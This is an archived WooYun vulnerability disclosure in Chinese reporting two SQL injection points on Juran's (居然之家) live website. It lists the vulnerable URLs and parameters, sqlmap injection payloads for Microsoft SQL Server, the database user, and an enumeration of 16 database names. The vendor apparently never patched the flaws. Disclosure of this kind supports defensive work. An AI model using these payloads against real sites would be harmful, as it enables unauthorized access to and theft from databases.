漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2015-0159823
漏洞标题:看我是如何发现居然之家主站漏洞全过程(两处SQL注射)
相关厂商:居然之家
漏洞作者: 路人甲
提交时间:2015-12-10 18:06
修复时间:2016-01-23 15:16
公开时间:2016-01-23 15:16
漏洞类型:SQL注射漏洞
危害等级:高
自评Rank:15
漏洞状态:未联系到厂商或者厂商积极忽略
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2015-12-10: 积极联系厂商并且等待厂商认领中,细节不对外公开
2016-01-23: 厂商已经主动忽略漏洞,细节向公众公开
简要描述:
RT。。。
详细说明:
居然之家主站SQL注射未修复。。。
漏洞证明:
url:www.juran.com.cn
http://www.juran.com.cn/News/NewsTopic.aspx?tag=1
http://www.juran.com.cn/CXNews/Handler1.ashx?parent=
test:
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: tag (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: tag=1) AND 3694=3694 AND (9338=9338
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: tag=1) AND 6088=CONVERT(INT,(SELECT CHAR(113)+CHAR(120)+CHAR(107)+C
HAR(120)+CHAR(113)+(SELECT (CASE WHEN (6088=6088) THEN CHAR(49) ELSE CHAR(48) EN
D))+CHAR(113)+CHAR(118)+CHAR(106)+CHAR(122)+CHAR(113))) AND (1280=1280
Type: inline query
Title: Microsoft SQL Server/Sybase inline queries
Payload: tag=(SELECT CHAR(113)+CHAR(120)+CHAR(107)+CHAR(120)+CHAR(113)+(SELE
CT (CASE WHEN (5636=5636) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(118)+
CHAR(106)+CHAR(122)+CHAR(113))
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: tag=1);WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind (comment)
Payload: tag=1) WAITFOR DELAY '0:0:5'--
---
[00:07:14] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, Microsoft IIS 7.5, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
[00:07:14] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\www.juran.com.cn'
[*] shutting down at 00:07:14
current user: 'Newszyj'
[00:07:40] [INFO] fetching current database
[00:07:40] [INFO] resumed: News
current database: 'News'
available databases [16]:
[*] EasyHome
[*] EasyHome_Top
[*] EFNETDB
[*] EFNETDBPDLOG
[*] EFNETSYS
[*] eLearning
[*] FenDian
[*] goho
[*] loho
[*] Manage
[*] master
[*] model
[*] msdb
[*] News
[*] Rosewood
[*] tempdb
收工。。。
修复方案:
过滤参数。。。
版权声明:转载请注明来源 路人甲@乌云
漏洞回应
厂商回应:
未能联系到厂商或者厂商积极拒绝